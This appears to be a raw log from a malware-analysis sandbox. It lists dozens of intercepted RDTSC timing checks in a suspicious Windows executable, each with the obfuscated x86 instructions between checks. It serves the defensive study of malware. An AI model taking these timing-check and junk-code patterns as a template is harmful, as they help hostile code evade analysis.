Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0456 second address: 50C0465 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1570C6715Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0465 second address: 50C04A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 pushfd 0x00000007 jmp 00007F15714A7BB0h 0x0000000c add al, FFFFFFD8h 0x0000000f jmp 00007F15714A7BABh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a mov eax, 1330A3ABh 0x0000001f mov ecx, 0DD3CF87h 0x00000024 popad 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C04A2 second address: 50C04A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C04A6 second address: 50C04BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BB2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C04BC second address: 50C04E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1570C6715Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1570C67165h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C04E3 second address: 50C04E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C04E9 second address: 50C04ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C04ED second address: 50C050E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C050E second address: 50C0512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0512 second address: 50C052D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BB7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D031A second address: 50D039C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1570C67169h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov dx, 6FC2h 0x0000000f pushfd 0x00000010 jmp 00007F1570C67163h 0x00000015 sub esi, 4A3ECEBEh 0x0000001b jmp 00007F1570C67169h 0x00000020 popfd 0x00000021 popad 0x00000022 xchg eax, ebp 0x00000023 jmp 00007F1570C6715Eh 0x00000028 mov ebp, esp 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F1570C67167h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D039C second address: 50D03A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D03A2 second address: 50D03A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100E27 second address: 5100E2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100E2D second address: 5100E33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100E33 second address: 5100E7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F15714A7BB0h 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov ebx, 4B84C1B0h 0x0000001b call 00007F15714A7BB9h 0x00000020 pop ecx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E04CA second address: 50E0558 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F1570C67164h 0x00000008 adc si, 74F8h 0x0000000d jmp 00007F1570C6715Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 jmp 00007F1570C67166h 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F1570C6715Ch 0x00000026 xor esi, 6878BE88h 0x0000002c jmp 00007F1570C6715Bh 0x00000031 popfd 0x00000032 pushfd 0x00000033 jmp 00007F1570C67168h 0x00000038 add cl, FFFFFFE8h 0x0000003b jmp 00007F1570C6715Bh 0x00000040 popfd 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0558 second address: 50E055E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E055E second address: 50E0562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0562 second address: 50E0594 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F15714A7BB7h 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 mov dh, ah 0x00000013 mov cx, dx 0x00000016 popad 0x00000017 mov eax, dword ptr [ebp+08h] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0594 second address: 50E0598 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0598 second address: 50E05AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BB0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E05AC second address: 50E05B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E05B2 second address: 50E05B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E05B6 second address: 50E05D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [eax], 00000000h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1570C67164h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E05D7 second address: 50E05F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [eax+04h], 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E05F0 second address: 50E05F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E05F4 second address: 50E060F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BB7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C06C8 second address: 50C06E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1570C67165h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C06E1 second address: 50C06FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov di, 09C0h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e movsx ebx, cx 0x00000011 mov di, cx 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C06FE second address: 50C0702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0702 second address: 50C0708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0708 second address: 50C070E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C070E second address: 50C071C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C071C second address: 50C0746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F1570C6715Dh 0x0000000a add cx, 6326h 0x0000000f jmp 00007F1570C67161h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0746 second address: 50C074C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C074C second address: 50C0750 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E00A6 second address: 50E00F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F15714A7BAFh 0x00000008 pop esi 0x00000009 jmp 00007F15714A7BB9h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F15714A7BB8h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E00F2 second address: 50E00F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E032B second address: 50E0374 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, B8A2h 0x00000007 pushfd 0x00000008 jmp 00007F15714A7BB3h 0x0000000d sub eax, 2C363D9Eh 0x00000013 jmp 00007F15714A7BB9h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov ebp, esp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 mov eax, 67A12D75h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100655 second address: 5100668 instructions: 0x00000000 rdtsc 0x00000002 mov ax, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov si, dx 0x0000000f movsx edx, si 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100668 second address: 51006B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BB7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F15714A7BB6h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F15714A7BB7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51006B7 second address: 510070E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 0Dh 0x00000005 movzx esi, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d mov al, 0Fh 0x0000000f mov ecx, edx 0x00000011 popad 0x00000012 mov dword ptr [esp], ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F1570C67166h 0x0000001e jmp 00007F1570C67165h 0x00000023 popfd 0x00000024 call 00007F1570C67160h 0x00000029 pop eax 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510070E second address: 510075E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BB0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [76FB65FCh] 0x0000000e pushad 0x0000000f mov eax, 728248DDh 0x00000014 pushfd 0x00000015 jmp 00007F15714A7BAAh 0x0000001a adc cl, 00000038h 0x0000001d jmp 00007F15714A7BABh 0x00000022 popfd 0x00000023 popad 0x00000024 test eax, eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F15714A7BB0h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510075E second address: 510076D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1570C6715Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510076D second address: 5100773 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100773 second address: 5100777 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0054 second address: 50B00C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F15714A7BB1h 0x00000008 pop esi 0x00000009 push ebx 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov cx, di 0x00000013 mov ebx, 7ADCFAD8h 0x00000018 popad 0x00000019 mov ebp, esp 0x0000001b jmp 00007F15714A7BB7h 0x00000020 and esp, FFFFFFF8h 0x00000023 jmp 00007F15714A7BB6h 0x00000028 xchg eax, ecx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F15714A7BB7h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B00C5 second address: 50B0111 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1570C67169h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F1570C67161h 0x0000000f xchg eax, ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1570C67168h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0111 second address: 50B0115 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0115 second address: 50B011B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B011B second address: 50B0121 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0121 second address: 50B01A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1570C67168h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007F1570C67160h 0x00000011 push eax 0x00000012 jmp 00007F1570C6715Bh 0x00000017 xchg eax, ebx 0x00000018 pushad 0x00000019 jmp 00007F1570C67164h 0x0000001e pushfd 0x0000001f jmp 00007F1570C67162h 0x00000024 sbb cl, FFFFFFA8h 0x00000027 jmp 00007F1570C6715Bh 0x0000002c popfd 0x0000002d popad 0x0000002e mov ebx, dword ptr [ebp+10h] 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 jmp 00007F1570C6715Bh 0x00000039 mov ah, 9Ch 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B01A9 second address: 50B0224 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, 8Eh 0x00000005 pushfd 0x00000006 jmp 00007F15714A7BADh 0x0000000b and cx, 7576h 0x00000010 jmp 00007F15714A7BB1h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, esi 0x0000001a jmp 00007F15714A7BAEh 0x0000001f push eax 0x00000020 jmp 00007F15714A7BABh 0x00000025 xchg eax, esi 0x00000026 jmp 00007F15714A7BB6h 0x0000002b mov esi, dword ptr [ebp+08h] 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F15714A7BB7h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0224 second address: 50B027C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1570C6715Fh 0x00000008 pushfd 0x00000009 jmp 00007F1570C67168h 0x0000000e xor esi, 5021E1B8h 0x00000014 jmp 00007F1570C6715Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, edi 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F1570C67165h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B027C second address: 50B0282 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0282 second address: 50B0286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0286 second address: 50B0295 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0295 second address: 50B0299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0299 second address: 50B02B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BB7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B02B4 second address: 50B02CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1570C67164h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B02CC second address: 50B030F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c jmp 00007F15714A7BB6h 0x00000011 test esi, esi 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F15714A7BB7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A073C second address: 50A0742 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0742 second address: 50A0807 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F15714A7BB6h 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov edi, esi 0x00000012 jmp 00007F15714A7BAAh 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F15714A7BAEh 0x00000021 add al, 00000038h 0x00000024 jmp 00007F15714A7BABh 0x00000029 popfd 0x0000002a mov bx, cx 0x0000002d popad 0x0000002e and esp, FFFFFFF8h 0x00000031 pushad 0x00000032 movzx ecx, dx 0x00000035 mov eax, ebx 0x00000037 popad 0x00000038 push ebp 0x00000039 pushad 0x0000003a push esi 0x0000003b pushfd 0x0000003c jmp 00007F15714A7BB1h 0x00000041 add al, FFFFFF86h 0x00000044 jmp 00007F15714A7BB1h 0x00000049 popfd 0x0000004a pop eax 0x0000004b jmp 00007F15714A7BB1h 0x00000050 popad 0x00000051 mov dword ptr [esp], ebx 0x00000054 jmp 00007F15714A7BAEh 0x00000059 xchg eax, esi 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007F15714A7BB7h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0807 second address: 50A088A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 7F2Ah 0x00000007 pushfd 0x00000008 jmp 00007F1570C6715Bh 0x0000000d sbb cl, FFFFFFCEh 0x00000010 jmp 00007F1570C67169h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a jmp 00007F1570C67161h 0x0000001f xchg eax, esi 0x00000020 jmp 00007F1570C6715Eh 0x00000025 mov esi, dword ptr [ebp+08h] 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007F1570C6715Eh 0x0000002f or ah, FFFFFFA8h 0x00000032 jmp 00007F1570C6715Bh 0x00000037 popfd 0x00000038 mov ch, D1h 0x0000003a popad 0x0000003b mov ebx, 00000000h 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 push esi 0x00000044 pop edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A088A second address: 50A08FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007F15714A7BB4h 0x0000000b mov di, ax 0x0000000e pop eax 0x0000000f popad 0x00000010 test esi, esi 0x00000012 pushad 0x00000013 call 00007F15714A7BB3h 0x00000018 jmp 00007F15714A7BB8h 0x0000001d pop eax 0x0000001e mov edi, 1CD48586h 0x00000023 popad 0x00000024 je 00007F15E332D656h 0x0000002a pushad 0x0000002b call 00007F15714A7BB3h 0x00000030 push ecx 0x00000031 pop edx 0x00000032 pop eax 0x00000033 push eax 0x00000034 push edx 0x00000035 push ebx 0x00000036 pop eax 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A08FF second address: 50A0903 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0903 second address: 50A0990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000e jmp 00007F15714A7BB3h 0x00000013 mov ecx, esi 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F15714A7BB4h 0x0000001c jmp 00007F15714A7BB5h 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007F15714A7BB0h 0x00000028 adc eax, 6F2E5018h 0x0000002e jmp 00007F15714A7BABh 0x00000033 popfd 0x00000034 popad 0x00000035 je 00007F15E332D5D3h 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F15714A7BB0h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0990 second address: 50A0996 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0996 second address: 50A09C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15714A7BAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [76FB6968h], 00000002h 0x00000010 pushad 0x00000011 mov ax, 2BFDh 0x00000015 movzx ecx, di 0x00000018 popad 0x00000019 jne 00007F15E332D5A4h 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 mov si, dx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A09C4 second address: 50A09F8 instructions: 0x00000000 rdtsc 0x00000002 mov edi, 0EF666F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, 1B73021Ch 0x0000000e popad 0x0000000f mov edx, dword ptr [ebp+0Ch] 0x00000012 pushad 0x00000013 pushad 0x00000014 mov ecx, ebx 0x00000016 jmp 00007F1570C67163h 0x0000001b popad 0x0000001c mov ebx, esi 0x0000001e popad 0x0000001f xchg eax, ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A09F8 second address: 50A09FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A09FC second address: 50A0A00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0A00 second address: 50A0A06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
